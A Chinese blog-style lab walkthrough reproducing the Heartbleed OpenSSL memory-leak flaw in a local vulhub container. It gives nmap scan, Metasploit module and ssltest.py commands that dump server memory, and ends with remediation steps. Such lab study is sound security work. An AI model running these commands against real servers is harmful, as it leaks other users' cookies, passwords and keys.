1. 心脏滴血漏洞复现
心脏滴血漏洞编号:CVE-2014-0160
漏洞版本:OpenSSL1.0.1版本
漏洞出现的原因:
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
漏洞危害:
心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。
漏洞复现准备:
-
linux下的vulhub靶场
-
nmap扫描工具
-
python环境
-
docker容器和vulhub漏洞文件需要提前部署好。
漏洞复现:
我用的是kail虚拟机部署到vulhub靶场
第一步首先,cd到/root/Desktop/vulhub/openssl/CVE-2014-0160,输入一下命令
docker-compose up -d #启动容器
第二步查看kail虚拟机的IP地址

第三步使用IP地址+端口来访问这个openssl端口,出现以下界面证明靶场搭建成功

第四步使用的nmap的扫描工具,扫描目标IP的heartbleed漏洞
nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.200.140 --script ssl-heartbleed.nse #指定心脏滴血漏洞模块进行扫描

出现此结果证明目标IP的存在心脏滴血漏洞的潜在风险
还可以进行在线验证:
https://filippo.io/Heartbleed #进行在线检测
由于我部署在内网上,所有无法进行验证,如果需要验证只设置虚拟机网卡为桥接即可验证。
第五步开启kail虚拟机的msfconsole工具
msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所有的metaslopit插件,payload,利用模块,post模块等等。
在kail下输入msfconsole即可打开该程序

第六步,使用search heartbleed命令搜索漏洞利用模块

使用第二个模块进行攻击,使用命令 use 1

第七步,参看options选项

修改设置 RHOST、RPOST的参数
set RHOST 192.168.200.140 #设置存在心脏滴血漏洞的IP地址 set RPORT 8443 #设置openssl的端口 set verbose true #设置成true才能看到泄露的信息 run #开始执行攻击

运行后可以看到靶机的64KB信息,如果有人此时在登录web应用,还可以直接抓到账号密码等信息。入侵者每次可以翻检户主的64K信息,只要有足够的耐心和时间,就可以翻检足够多的数据,拼凑出用户的各类信息,虽然此漏洞存在随机性,但是实现方法简易快捷,可批量攻击,故存在较高的危险性。
第八步,还可以利用vulhub靶场下的python脚本查看泄露内存信息
python ssltest.py 192.168.200.140 -p 8443

第八步漏洞复现成功关闭vulhub靶场

第九步漏洞防御措施
建议升级openssl。此外,做如下措施。
-
修改服务器密码
-
重新配置私钥
-
重新配置证书

被折叠的 条评论
为什么被折叠?



